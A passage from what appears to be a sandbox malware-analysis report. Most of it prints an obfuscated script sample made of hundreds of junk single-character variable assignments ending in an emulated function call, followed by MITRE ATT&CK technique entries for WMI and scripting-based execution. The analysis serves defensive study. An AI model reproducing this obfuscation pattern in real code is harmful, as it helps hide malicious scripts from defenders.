335	yhzdtfx = "e";
336	yhzdtfx = "f";
337	yhzdtfx = "d";
338	yhzdtfx = "Z";
339	yhzdtfx = "v";
340	yhzdtfx = "R";
341	yhzdtfx = "X";
342	yhzdtfx = "L";
343	yhzdtfx = "R";
344	yhzdtfx = "V";
345	yhzdtfx = "t";
346	yhzdtfx = "I";
347	yhzdtfx = "b";
348	yhzdtfx = "m";
349	yhzdtfx = "Y";
350	yhzdtfx = "h";
351	yhzdtfx = "B";
352	yhzdtfx = "U";
353	yhzdtfx = "u";
354	yhzdtfx = "J";
355	yhzdtfx = "O";
356	yhzdtfx = "F";
357	yhzdtfx = "R";
358	yhzdtfx = "t";
359	yhzdtfx = "X";
360	yhzdtfx = "x";
361	yhzdtfx = "P";
362	yhzdtfx = "P";
363	dqojgjy = "w";
364	dqojgjy = "b";
365	dqojgjy = "a";
366	qvbpkynwx = "T";
367	qvbpkynwx = "P";
368	qvbpkynwx = "V";
369	qvbpkynwx = "S";
370	qvbpkynwx = "w";
371	qvbpkynwx = "Y";
372	qvbpkynwx = "S";
373	qvbpkynwx = "X";
374	qvbpkynwx = "E";
375	qvbpkynwx = "V";
376	qvbpkynwx = "Z";
377	qvbpkynwx = "e";
378	qvbpkynwx = "T";
379	qvbpkynwx = "V";
380	qvbpkynwx = "B";
381	qvbpkynwx = "m";
382	qvbpkynwx = "c";
383	qvbpkynwx = "I";
384	qvbpkynwx = "Q";
385	qvbpkynwx = "c";
386	qvbpkynwx = "W";
387	qvbpkynwx = "s";
388	qvbpkynwx = "A";
389	qvbpkynwx = "n";
390	qvbpkynwx = "B";
391	qvbpkynwx = "B";
392	qvbpkynwx = "p";
393	qvbpkynwx = "w";
394	qvbpkynwx = "e";
395	qvbpkynwx = "I";
396	qvbpkynwx = "j";
397	mdanbeu = "u";
398	mdanbeu = "m";
399	mdanbeu = "E";
400	mdanbeu = "H";
401	mdanbeu = "y";
402	mdanbeu = "m";
403	mdanbeu = "g";
404	mdanbeu = "A";
405	mdanbeu = "q";
406	mdanbeu = "s";
407	mdanbeu = "I";
408	mdanbeu = "J";
409	mdanbeu = "Y";
410	mdanbeu = "G";
411	mdanbeu = "M";
412	mdanbeu = "O";
413	mdanbeu = "s";
414	mdanbeu = "o";
415	mdanbeu = "g";
416	mdanbeu = "B";
417	mdanbeu = "Y";
418	mdanbeu = "Y";
419	mdanbeu = "I";
420	mdanbeu = "i";
421	mdanbeu = "Z";
422	mdanbeu = "i";
423	mdanbeu = "D";
424	mdanbeu = "C";
425	mdanbeu = "q";
426	mdanbeu = "p";
427	mdanbeu = "e";
428	mdanbeu = "U";
429	mdanbeu = "9";
430	wcupmbmvz = "l";
431	wcupmbmvz = "u";
432	wcupmbmvz = "_";
433	gwodcxa = "S";
434	gwodcxa = "J";
435	gwodcxa = "C";
436	gwodcxa = "s";
437	gwodcxa = "M";
438	gwodcxa = "P";
439	gwodcxa = "S";
440	gwodcxa = "X";
441	gwodcxa = "P";
442	gwodcxa = "y";
443	gwodcxa = "K";
444	gwodcxa = "Q";
445	gwodcxa = "S";
446	bekkcxff = "p";
447	bekkcxff = "f";
448	bekkcxff = "H";
449	bekkcxff = "S";
450	bekkcxff = "E";
451	bekkcxff = "W";
452	bekkcxff = "c";
453	bekkcxff = "g";
454	bekkcxff = "a";
455	bekkcxff = "R";
456	bekkcxff = "k";
457	bekkcxff = "I";
458	bekkcxff = "N";
459	bekkcxff = "o";
460	bekkcxff = "O";
461	bekkcxff = "s";
462	bekkcxff = "x";
463	bekkcxff = "O";
464	bekkcxff = "G";
465	bekkcxff = "i";
466	bekkcxff = "M";
467	bekkcxff = "C";
468	bekkcxff = "H";
469	bekkcxff = "P";
470	bekkcxff = "e";
471	bekkcxff = "g";
472	bekkcxff = "f";
473	bekkcxff = "A";
474	bekkcxff = "M";
475	bekkcxff = "m";
476	bekkcxff = "x";
477	bekkcxff = "S";
478	bekkcxff = "m";
479	bekkcxff = "c";
480	bekkcxff = "t";
481	bekkcxff = "s";
482	bekkcxff = "o";
483	bekkcxff = "A";
484	bekkcxff = "T";
485	bekkcxff = "a";
486	bekkcxff = "N";
487	bekkcxff = "N";
488	bekkcxff = "Q";
489	bekkcxff = "Q";
490	sbzmj = "g";
491	sbzmj = "P";
492	sbzmj = "F";
493	sbzmj = "F";
494	sbzmj = "D";
495	sbzmj = "B";
496	sbzmj = "y";
497	sbzmj = "z";
498	sbzmj = "s";
499	sbzmj = "O";
500	sbzmj = "v";
501	sbzmj = "C";
502	sbzmj = "F";
503	sbzmj = "/";
504	owrqqr = "W";
505	owrqqr = "x";
506	owrqqr = "Y";
507	owrqqr = "Y";
508	owrqqr = "n";
509	owrqqr = "I";
510	owrqqr = "I";
511	owrqqr = "W";
512	owrqqr = "S";
513	owrqqr = "k";
514	owrqqr = "m";
515	owrqqr = "E";
516	owrqqr = "q";
517	owrqqr = "T";
518	owrqqr = "h";
519	plheoy = "V";
520	plheoy = "t";
521	plheoy = "t";
522	plheoy = "A";
523	plheoy = "A";
524	plheoy = "s";
525	plheoy = "y";
526	plheoy = "d";
527	plheoy = "F";
528	plheoy = "l";
529	plheoy = "q";
530	plheoy = "L";
531	plheoy = "Q";
532	plheoy = "N";
533	plheoy = "t";
534	plheoy = "i";
535	plheoy = "U";
536	plheoy = "g";
537	plheoy = "w";
538	plheoy = "M";
539	plheoy = "R";
540	plheoy = "1";
541	voxwo = "k";
542	voxwo = "e";
543	voxwo = "k";
544	voxwo = "o";
545	voxwo = "g";
546	voxwo = "c";
547	voxwo = "E";
548	voxwo = "M";
549	voxwo = "u";
550	voxwo = "e";
551	voxwo = "C";
552	voxwo = "p";
553	voxwo = "B";
554	voxwo = "u";
555	voxwo = "H";
556	voxwo = "M";
557	voxwo = "j";
558	voxwo = "Q";
559	voxwo = "L";
560	akeiyxh = "r";
561	akeiyxh = "c";
562	akeiyxh = "Z";
563	akeiyxh = "N";
564	akeiyxh = "a";
565	akeiyxh = "m";
566	akeiyxh = "J";
567	akeiyxh = "E";
568	akeiyxh = "c";
569	akeiyxh = "f";
570	akeiyxh = "q";
571	akeiyxh = "R";
572	akeiyxh = "j";
573	akeiyxh = "g";
574	akeiyxh = "u";
575	akeiyxh = "J";
576	akeiyxh = "S";
577	akeiyxh = "r";
578	akeiyxh = "o";
579	akeiyxh = "N";
580	akeiyxh = "n";
581	akeiyxh = "C";
582	akeiyxh = "b";
583	akeiyxh = "L";
584	akeiyxh = "N";
585	akeiyxh = "y";
586	akeiyxh = "V";
587	akeiyxh = "E";
588	akeiyxh = "g";
589	akeiyxh = "Z";
590	akeiyxh = "h";
591	akeiyxh = "X";
592	akeiyxh = "l";
593	akeiyxh = "H";
594	akeiyxh = "R";
595	acxksbwqk = "g";
596	acxksbwqk = "i";
597	acxksbwqk = "n";
598	acxksbwqk = "H";
599	acxksbwqk = "Z";
600	acxksbwqk = "H";
601	acxksbwqk = "T";
602	acxksbwqk = "l";
603	acxksbwqk = "H";
604	acxksbwqk = "N";
605	acxksbwqk = "l";
606	acxksbwqk = "F";
607	acxksbwqk = "d";
608	acxksbwqk = "&";
609	czcove = "z";
610	czcove = "F";
611	czcove = "h";
612	czcove = "h";
613	czcove = "D";
614	czcove = "o";
615	czcove = "c";
616	czcove = "y";
617	czcove = "h";
618	czcove = "W";
619	czcove = "x";
620	czcove = "Q";
621	czcove = "n";
622	czcove = "q";
623	czcove = "k";
624	czcove = "g";
625	czcove = "s";
626	czcove = "L";
627	czcove = "z";
628	czcove = "z";
629	czcove = "d";
630	czcove = "m";
631	czcove = "U";
632	czcove = "q";
633	czcove = "e";
634	czcove = "l";
635	czcove = "n";
636	czcove = "F";
637	czcove = "L";
638	czcove = "e";
639	czcove = "m";
640	fqacyi = "t";
641	fqacyi = "j";
642	fqacyi = "R";
643	fqacyi = "e";
644	fqacyi = "q";
645	fqacyi = "Y";
646	fqacyi = "s";
647	fqacyi = "i";
648	fqacyi = "E";
649	fqacyi = "r";
650	fqacyi = "R";
651	fqacyi = "U";
652	fqacyi = "G";
653	fqacyi = "M";
654	fqacyi = "u";
655	fqacyi = "v";
656	fqacyi = "l";
657	fqacyi = "V";
658	fqacyi = "f";
659	fqacyi = "i";
660	fqacyi = "D";
661	fqacyi = "V";
662	fqacyi = "\"";
663	yxqdksvv = "V";
664	yxqdksvv = "w";
665	yxqdksvv = "E";
666	yxqdksvv = "x";
667	yxqdksvv = "r";
668	yxqdksvv = "v";
669	yxqdksvv = "F";
670	yxqdksvv = "u";
671	yxqdksvv = "i";
672	yxqdksvv = "L";
673	yxqdksvv = "m";
674	yxqdksvv = "N";
675	yxqdksvv = "b";
676	yxqdksvv = "G";
677	yxqdksvv = "a";
678	yxqdksvv = "p";
679	yxqdksvv = "I";
680	yxqdksvv = "t";
681	yxqdksvv = "y";
682	yxqdksvv = "D";
683	yxqdksvv = "o";
684	yxqdksvv = "h";
685	yxqdksvv = "P";
686	yxqdksvv = "a";
687	yxqdksvv = "z";
688	yxqdksvv = "b";
689	yxqdksvv = "Z";
690	yxqdksvv = "t";
691	yxqdksvv = "q";
692	yxqdksvv = "O";
693	yxqdksvv = "a";
694	yxqdksvv = "Q";
695	yxqdksvv = "j";
696	yxqdksvv = "o";
697	yxqdksvv = "n";
698	yxqdksvv = "J";
699	yxqdksvv = "Q";
700	yxqdksvv = "N";
701	yxqdksvv = "p";
702	nutgkyeel = "w";
703	nutgkyeel = "t";
704	nutgkyeel = "R";
705	nutgkyeel = "V";
706	nutgkyeel = "H";
707	nutgkyeel = "H";
708	nutgkyeel = "q";
709	nutgkyeel = "e";
710	nutgkyeel = "N";
711	nutgkyeel = "T";
712	nutgkyeel = "P";
713	nutgkyeel = "J";
714	nutgkyeel = "O";
715	nutgkyeel = "Y";
716	nutgkyeel = "f";
717	nutgkyeel = "O";
718	nutgkyeel = "c";
719	nutgkyeel = "H";
720	nutgkyeel = "t";
721	nutgkyeel = "j";
722	nutgkyeel = "q";
723	nutgkyeel = "q";
724	nutgkyeel = "c";
725	nutgkyeel = "d";
726	nutgkyeel = "N";
727	nutgkyeel = "Y";
728	nutgkyeel = "U";
729	nutgkyeel = "Y";
730	nutgkyeel = "V";
731	nutgkyeel = "x";
732	nutgkyeel = "X";
733	nutgkyeel = "h";
734	nutgkyeel = "t";
735	nutgkyeel = "k";
736	nutgkyeel = "6";
737	xtkhwz = "G";
738	xtkhwz = "X";
739	xtkhwz = "a";
740	xtkhwz = "A";
741	xtkhwz = "P";
742	xtkhwz = "u";
743	xtkhwz = "G";
744	xtkhwz = "O";
745	xtkhwz = "B";
746	xtkhwz = "M";
747	xtkhwz = "x";
748	xtkhwz = "B";
749	xtkhwz = "k";
750	xtkhwz = "Q";
751	xtkhwz = "S";
752	xtkhwz = "q";
753	xtkhwz = "g";
754	xtkhwz = "U";
755	xtkhwz = "e";
756	xtkhwz = "Q";
757	xtkhwz = "b";
758	xtkhwz = "T";
759	xtkhwz = "W";
760	xtkhwz = "k";
761	xtkhwz = "i";
762	xtkhwz = "E";
763	xtkhwz = "n";
764	gwnoeld = "V";
765	gwnoeld = "d";
766	gwnoeld = "P";
767	gwnoeld = "I";
768	gwnoeld = "H";
769	gwnoeld = "B";
770	gwnoeld = "m";
771	gwnoeld = "L";
772	gwnoeld = "J";
773	gwnoeld = "K";
774	gwnoeld = "A";
775	gwnoeld = "k";
776	gwnoeld = "H";
777	gwnoeld = "J";
778	gwnoeld = "J";
779	gwnoeld = "W";
780	gwnoeld = "Q";
781	gwnoeld = "S";
782	gwnoeld = "E";
783	gwnoeld = "M";
784	gwnoeld = "K";
785	gwnoeld = "E";
786	gwnoeld = "M";
787	gwnoeld = "3";
788	mcyst = "l";
789	mcyst = "n";
790	mcyst = "P";
791	mcyst = "F";
792	mcyst = "p";
793	mcyst = "q";
794	mcyst = "h";
795	mcyst = "y";
796	mcyst = "l";
797	mcyst = "H";
798	mcyst = "Z";
799	mcyst = "x";
800	mcyst = "h";
801	mcyst = "f";
802	mcyst = "T";
803	mcyst = "Z";
804	mcyst = "a";
805	mcyst = "k";
806	mcyst = "z";
807	mcyst = "I";
808	mcyst = "a";
809	mcyst = "g";
810	mcyst = "P";
811	mcyst = "g";
812	mcyst = "U";
813	mcyst = "T";
814	mcyst = "Y";
815	mcyst = "g";
816	mcyst = "K";
817	mcyst = "b";
818	mcyst = "M";
819	mcyst = "x";
820	mcyst = "Y";
821	mcyst = "P";
822	mcyst = "Y";
823	byydkrbe = "R";
824	byydkrbe = "r";
825	byydkrbe = "S";
826	byydkrbe = "h";
827	byydkrbe = "c";
828	byydkrbe = "D";
829	byydkrbe = "B";
830	byydkrbe = "U";
831	byydkrbe = "Q";
832	byydkrbe = "S";
833	byydkrbe = "D";
834	byydkrbe = "R";
835	byydkrbe = "a";
836	byydkrbe = "W";
837	byydkrbe = "n";
838	byydkrbe = "D";
839	byydkrbe = "M";
840	byydkrbe = "Y";
841	byydkrbe = "f";
842	byydkrbe = "v";
843	byydkrbe = "M";
844	byydkrbe = "n";
845	byydkrbe = "O";
846	byydkrbe = "z";
847	byydkrbe = "c";
848	byydkrbe = "T";
849	byydkrbe = "e";
850	byydkrbe = "B";
851	byydkrbe = "U";
852	byydkrbe = "C";
853	musxxm = "C";
854	musxxm = "a";
855	musxxm = "M";
856	musxxm = "j";
857	musxxm = "R";
858	musxxm = "r";
859	musxxm = "t";
860	musxxm = "s";
861	musxxm = "I";
862	musxxm = "h";
863	musxxm = "w";
864	musxxm = "S";
865	musxxm = "E";
866	musxxm = "m";
867	musxxm = "D";
868	musxxm = "U";
869	musxxm = "m";
870	musxxm = "f";
871	musxxm = "q";
872	musxxm = "5";
873	jtbmzgmk = "M";
874	jtbmzgmk = "F";
875	jtbmzgmk = "h";
876	jtbmzgmk = "Z";
877	jtbmzgmk = "v";
878	jtbmzgmk = "h";
879	jtbmzgmk = "k";
880	jtbmzgmk = "x";
881	jtbmzgmk = "b";
882	jtbmzgmk = "H";
883	jtbmzgmk = "B";
884	jtbmzgmk = "R";
885	jtbmzgmk = "G";
886	jtbmzgmk = "P";
887	jtbmzgmk = "O";
888	jtbmzgmk = "d";
889	jtbmzgmk = "d";
890	jtbmzgmk = "C";
891	jtbmzgmk = "u";
892	hxbia = "v";
893	hxbia = "c";
894	hxbia = "L";
895	hxbia = "L";
896	hxbia = "q";
897	hllvoywy = "S";
898	hllvoywy = "K";
899	hllvoywy = "r";
900	hllvoywy = "n";
901	hllvoywy = "Y";
902	hllvoywy = "C";
903	hllvoywy = "Q";
904	hllvoywy = "O";
905	hllvoywy = "P";
906	hllvoywy = "l";
907	hllvoywy = "E";
908	hllvoywy = "a";
909	hllvoywy = "r";
910	hllvoywy = "c";
911	hllvoywy = "x";
912	hllvoywy = "K";
913	hllvoywy = "t";
914	hllvoywy = "T";
915	hllvoywy = "J";
916	hllvoywy = "E";
917	hllvoywy = "E";
918	hllvoywy = "h";
919	hllvoywy = "X";
920	hllvoywy = "V";
921	hllvoywy = "N";
922	hllvoywy = "G";
923	hllvoywy = "P";
924	hllvoywy = "Y";
925	hllvoywy = "w";
926	hllvoywy = "d";
927	hllvoywy = "c";
928	hllvoywy = "4";
929	hdwkh = "M";
930	hdwkh = "w";
931	hdwkh = "K";
932	xjxoedtks = "c";
933	xjxoedtks = "x";
934	xjxoedtks = "k";
935	xjxoedtks = "k";
936	xjxoedtks = "S";
937	xjxoedtks = "F";
938	xjxoedtks = "v";
939	xjxoedtks = "S";
940	xjxoedtks = "f";
941	xjxoedtks = "e";
942	xjxoedtks = "j";
943	xjxoedtks = "s";
944	xjxoedtks = "Y";
945	xjxoedtks = "x";
946	xjxoedtks = "f";
947	xjxoedtks = "D";
948	xjxoedtks = "u";
949	xjxoedtks = "V";
950	xjxoedtks = "t";
951	xjxoedtks = "F";
952	rnfkc = "m";
953	rnfkc = "o";
954	rnfkc = "A";
955	rnfkc = "t";
956	rnfkc = "w";
957	rnfkc = "X";
958	rnfkc = "d";
959	rnfkc = "O";
960	rnfkc = "Y";
961	rnfkc = "j";
962	rnfkc = "X";
963	rnfkc = "C";
964	rnfkc = "Z";
965	rnfkc = "w";
966	rnfkc = "z";
967	rnfkc = "n";
968	rnfkc = "b";
969	rnfkc = "H";
970	rnfkc = "y";
971	rnfkc = "m";
972	rnfkc = "a";
973	rnfkc = "C";
974	rnfkc = "G";
975	rnfkc = "G";
976	rnfkc = "Y";
977	rnfkc = "f";
978	rnfkc = "f";
979	rnfkc = "u";
980	rnfkc = "F";
981	rnfkc = "r";
982	rnfkc = "c";
983	rnfkc = "i";
984	rnfkc = "R";
985	rnfkc = "O";
986	rnfkc = "Y";
987	rnfkc = "K";
988	rnfkc = "q";
989	rnfkc = "u";
990	rnfkc = "f";
991	rnfkc = "e";
992	odvwqhkr = "Z";
993	odvwqhkr = "J";
994	odvwqhkr = "E";
995	odvwqhkr = "i";
996	odvwqhkr = "s";
997	odvwqhkr = "B";
998	odvwqhkr = "y";
999	odvwqhkr = "K";
1000	odvwqhkr = "f";
1001	odvwqhkr = "w";
1002	odvwqhkr = "O";
1003	odvwqhkr = "y";
1004	odvwqhkr = "C";
1005	odvwqhkr = "d";
1006	odvwqhkr = "H";
1007	odvwqhkr = "I";
1008	odvwqhkr = "g";
1009	odvwqhkr = "W";
1010	odvwqhkr = "e";
1011	odvwqhkr = "p";
1012	odvwqhkr = "h";
1013	odvwqhkr = "l";
1014	odvwqhkr = "K";
1015	odvwqhkr = "F";
1016	odvwqhkr = "L";
1017	odvwqhkr = "T";
1018	odvwqhkr = "G";
1019	odvwqhkr = "H";
1020	odvwqhkr = "e";
1021	odvwqhkr = "S";
1022	odvwqhkr = "f";
1023	odvwqhkr = "c";
1024	odvwqhkr = "O";
1025	odvwqhkr = "G";
1026	odvwqhkr = "f";
1027	odvwqhkr = "p";
1028	odvwqhkr = "U";
1029	odvwqhkr = "U";
1030	odvwqhkr = "a";
1031	odvwqhkr = "Z";
1032	odvwqhkr = "r";
1033	odvwqhkr = "w";
1034	odvwqhkr = "b";
1035	qivltn = "E";
1036	fznkajsi = "W";
1037	fznkajsi = "n";
1038	fznkajsi = "g";
1039	fznkajsi = "g";
1040	fznkajsi = "S";
1041	fznkajsi = "c";
1042	szqliwa = "D";
1043	szqliwa = "J";
1044	szqliwa = "e";
1045	szqliwa = "t";
1046	szqliwa = "a";
1047	szqliwa = "a";
1048	szqliwa = "e";
1049	szqliwa = "P";
1050	szqliwa = "t";
1051	szqliwa = "h";
1052	szqliwa = "T";
1053	szqliwa = "v";
1054	szqliwa = "O";
1055	szqliwa = "U";
1056	szqliwa = "F";
1057	szqliwa = "l";
1058	szqliwa = "k";
1059	szqliwa = "Z";
1060	szqliwa = "j";
1061	szqliwa = "C";
1062	szqliwa = "u";
1063	szqliwa = "S";
1064	szqliwa = "y";
1065	szqliwa = "K";
1066	szqliwa = "n";
1067	szqliwa = "U";
1068	szqliwa = "o";
1069	szqliwa = "E";
1070	szqliwa = "R";
1071	szqliwa = "E";
1072	szqliwa = "F";
1073	szqliwa = "Z";
1074	szqliwa = "E";
1075	szqliwa = "D";
1076	szqliwa = "8";
1077	kfswztcly = "X";
1078	kfswztcly = "d";
1079	kfswztcly = "R";
1080	kfswztcly = "F";
1081	kfswztcly = "x";
1082	kfswztcly = "N";
1083	kfswztcly = "y";
1084	kfswztcly = "c";
1085	kfswztcly = "o";
1086	kfswztcly = "X";
1087	kfswztcly = "T";
1088	kfswztcly = "X";
1089	kfswztcly = "q";
1090	kfswztcly = "F";
1091	kfswztcly = "S";
1092	kfswztcly = "k";
1093	kfswztcly = "L";
1094	kfswztcly = "D";
1095	kfswztcly = "Z";
1096	kfswztcly = "B";
1097	kfswztcly = "k";
1098	kfswztcly = "Q";
1099	kfswztcly = "D";
1100	kfswztcly = "P";
1101	kfswztcly = "E";
1102	kfswztcly = "J";
1103	kfswztcly = "i";
1104	kfswztcly = "Z";
1105	kfswztcly = "Z";
1106	kfswztcly = "T";
1107	kfswztcly = "Z";
1108	kfswztcly = "F";
1109	kfswztcly = "u";
1110	kfswztcly = "l";
1111	kfswztcly = "i";
1112	kfswztcly = "J";
1113	kfswztcly = "t";
1114	kfswztcly = "T";
1115	kfswztcly = "u";
1116	kfswztcly = "p";
1117	kfswztcly = "f";
1118	kfswztcly = "A";
1119	kfswztcly = "Y";
1120	kfswztcly = "w";
1121	kfswztcly = "x";
1122	zfagkci = "Z";
1123	zfagkci = "i";
1124	zfagkci = "W";
1125	zfagkci = "k";
1126	zfagkci = "J";
1127	zfagkci = "R";
1128	zfagkci = "T";
1129	sxrbh = "T";
1130	sxrbh = "y";
1131	sxrbh = "d";
1132	sxrbh = "W";
1133	sxrbh = "V";
1134	sxrbh = "R";
1135	sxrbh = "y";
1136	sxrbh = "E";
1137	sxrbh = "v";
1138	sxrbh = "p";
1139	sxrbh = "l";
1140	sxrbh = "P";
1141	sxrbh = "k";
1142	sxrbh = "o";
1143	sxrbh = "p";
1144	sxrbh = "w";
1145	sxrbh = "j";
1146	sxrbh = "J";
1147	sxrbh = "b";
1148	sxrbh = "U";
1149	sxrbh = "J";
1150	sxrbh = "o";
1151	sxrbh = "M";
1152	sxrbh = "O";
1153	sxrbh = "e";
1154	sxrbh = "F";
1155	sxrbh = "i";
1156	ktdyty = "G";
1157	ktdyty = "U";
1158	ktdyty = "W";
1159	ktdyty = "k";
1160	ktdyty = "l";
1161	ktdyty = "B";
1162	ktdyty = "F";
1163	ktdyty = "n";
1164	ktdyty = "h";
1165	ktdyty = "G";
1166	ktdyty = "T";
1167	ktdyty = "c";
1168	ktdyty = "Q";
1169	ktdyty = "r";
1170	ktdyty = "F";
1171	ktdyty = "E";
1172	ktdyty = "F";
1173	ktdyty = "Q";
1174	ktdyty = "q";
1175	ktdyty = "F";
1176	ktdyty = "C";
1177	ktdyty = "c";
1178	ktdyty = "h";
1179	ktdyty = "W";
1180	ucrejae = "w";
1181	ucrejae = "Y";
1182	ucrejae = "c";
1183	ucrejae = "U";
1184	ucrejae = "Z";
1185	ucrejae = "j";
1186	ucrejae = "A";
1187	ucrejae = "E";
1188	ucrejae = "J";
1189	ucrejae = "R";
1190	ucrejae = "t";
1191	ucrejae = "g";
1192	ucrejae = "h";
1193	ucrejae = "J";
1194	ucrejae = "R";
1195	ucrejae = "K";
1196	ucrejae = "t";
1197	ucrejae = "Y";
1198	ucrejae = "x";
1199	ucrejae = "H";
1200	ucrejae = "k";
1201	ucrejae = "L";
1202	ucrejae = "p";
1203	ucrejae = "W";
1204	ucrejae = "L";
1205	ucrejae = "T";
1206	ucrejae = "C";
1207	ucrejae = "A";
1208	ucrejae = "z";
1209	ucrejae = "W";
1210	ucrejae = "G";
1211	ucrejae = "V";
1212	ucrejae = "d";
1213	ucrejae = "M";
1214	ucrejae = "U";
1215	ucrejae = "j";
1216	ucrejae = "z";
1217	ucrejae = "m";
1218	ucrejae = "K";
1219	ucrejae = "y";
1220	ucrejae = "b";
1221	ucrejae = ":";
1222	ljpdtyvdv = "n";
1223	ljpdtyvdv = "F";
1224	ljpdtyvdv = "N";
1225	ljpdtyvdv = "V";
1226	ljpdtyvdv = "r";
1227	ljpdtyvdv = "J";
1228	ljpdtyvdv = "H";
1229	bqnnmovml = "r";
1230	bqnnmovml = "d";
1231	bqnnmovml = "s";
1232	bqnnmovml = "q";
1233	bqnnmovml = "a";
1234	bqnnmovml = "o";
1235	bqnnmovml = "f";
1236	bqnnmovml = "x";
1237	bqnnmovml = "n";
1238	bqnnmovml = "c";
1239	bqnnmovml = "Z";
1240	bqnnmovml = "P";
1241	bqnnmovml = "Y";
1242	bqnnmovml = "O";
1243	bqnnmovml = "O";
1244	bqnnmovml = "F";
1245	bqnnmovml = "W";
1246	bqnnmovml = "c";
1247	bqnnmovml = "k";
1248	bqnnmovml = "S";
1249	bqnnmovml = "D";
1250	bqnnmovml = "P";
1251	bqnnmovml = "j";
1252	bqnnmovml = "O";
1253	bqnnmovml = "H";
1254	bqnnmovml = "r";
1255	bqnnmovml = "c";
1256	bqnnmovml = "k";
1257	bqnnmovml = "N";
1258	bqnnmovml = "f";
1259	bqnnmovml = "X";
1260	bqnnmovml = "H";
1261	bqnnmovml = "r";
1262	bqnnmovml = "e";
1263	bqnnmovml = "f";
1264	bqnnmovml = "n";
1265	bqnnmovml = "V";
1266	bqnnmovml = "k";
1267	bqnnmovml = "N";
1268	bqnnmovml = "a";
1269	bqnnmovml = "u";
1270	bqnnmovml = "I";
1271	bqnnmovml = "R";
1272	bqnnmovml = "t";
1273	yfrppuh = "P";
1274	yfrppuh = "Q";
1275	yfrppuh = "q";
1276	yfrppuh = "p";
1277	yfrppuh = "I";
1278	yfrppuh = "n";
1279	yfrppuh = "U";
1280	yfrppuh = "R";
1281	yfrppuh = "w";
1282	yfrppuh = "F";
1283	yfrppuh = "Y";
1284	yfrppuh = "E";
1285	yfrppuh = "F";
1286	yfrppuh = "w";
1287	lqbbgkxkb = "R";
1288	lqbbgkxkb = "h";
1289	lqbbgkxkb = "D";
1290	lqbbgkxkb = "r";
1291	lqbbgkxkb = "J";
1292	lqbbgkxkb = "P";
1293	lqbbgkxkb = "k";
1294	lqbbgkxkb = "v";
1295	lqbbgkxkb = "y";
1296	lqbbgkxkb = "r";
1297	lqbbgkxkb = "o";
1298	lqbbgkxkb = "j";
1299	lqbbgkxkb = "P";
1300	lqbbgkxkb = "y";
1301	lqbbgkxkb = "W";
1302	lqbbgkxkb = "f";
1303	lqbbgkxkb = "E";
1304	lqbbgkxkb = "D";
1305	lqbbgkxkb = "t";
1306	lqbbgkxkb = "m";
1307	lqbbgkxkb = "T";
1308	lqbbgkxkb = "t";
1309	lqbbgkxkb = "t";
1310	lqbbgkxkb = "D";
1311	lqbbgkxkb = "Q";
1312	lqbbgkxkb = "H";
1313	lqbbgkxkb = "F";
1314	lqbbgkxkb = "r";
1315	lqbbgkxkb = "g";
1316	lqbbgkxkb = "w";
1317	lqbbgkxkb = "H";
1318	lqbbgkxkb = "o";
1319	xcasv = "C";
1320	xcasv = "S";
1321	xcasv = "b";
1322	xcasv = "F";
1323	xcasv = "X";
1324	xcasv = "t";
1325	xcasv = "x";
1326	xcasv = "f";
1327	xcasv = "I";
1328	xcasv = "n";
1329	xcasv = "c";
1330	xcasv = "F";
1331	xcasv = "F";
1332	xcasv = "a";
1333	xcasv = "Z";
1334	xcasv = "S";
1335	xcasv = "O";
1336	xcasv = "G";
1337	xcasv = "E";
1338	xcasv = "D";
1339	xcasv = "z";
1340	xcasv = "C";
1341	xcasv = "a";
1342	xcasv = "Z";
1343	xcasv = "f";
1344	xcasv = "B";
1345	xcasv = "V";
1346	xcasv = "P";
1347	xcasv = "Q";
1348	xcasv = "p";
1349	xcasv = "o";
1350	xcasv = "H";
1351	xcasv = "W";
1352	xcasv = "f";
1353	wyjbx = "T";
1354	wyjbx = "q";
1355	wyjbx = "u";
1356	wyjbx = "j";
1357	wyjbx = "E";
1358	wyjbx = "O";
1359	wyjbx = "Y";
1360	wyjbx = "K";
1361	wyjbx = "C";
1362	wyjbx = "y";
1363	wyjbx = "l";
1364	wyjbx = "l";
1365	wyjbx = "H";
1366	wyjbx = "Q";
1367	wyjbx = "B";
1368	wyjbx = "b";
1369	wyjbx = "e";
1370	wyjbx = "q";
1371	wyjbx = "U";
1372	wyjbx = " ";
1373	rpdtxhz = "P";
1374	rpdtxhz = "y";
1375	rpdtxhz = "S";
1376	rpdtxhz = "f";
1377	rpdtxhz = "n";
1378	rpdtxhz = "i";
1379	rpdtxhz = "i";
1380	rpdtxhz = "Y";
1381	rpdtxhz = "X";
1382	rpdtxhz = "O";
1383	rpdtxhz = "u";
1384	rpdtxhz = "A";
1385	rpdtxhz = "G";
1386	rpdtxhz = "W";
1387	rpdtxhz = "N";
1388	rpdtxhz = "L";
1389	rpdtxhz = "I";
1390	rpdtxhz = "R";
1391	rpdtxhz = "b";
1392	rpdtxhz = "L";
1393	rpdtxhz = "N";
1394	znctjpi ( );	znctjpi() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

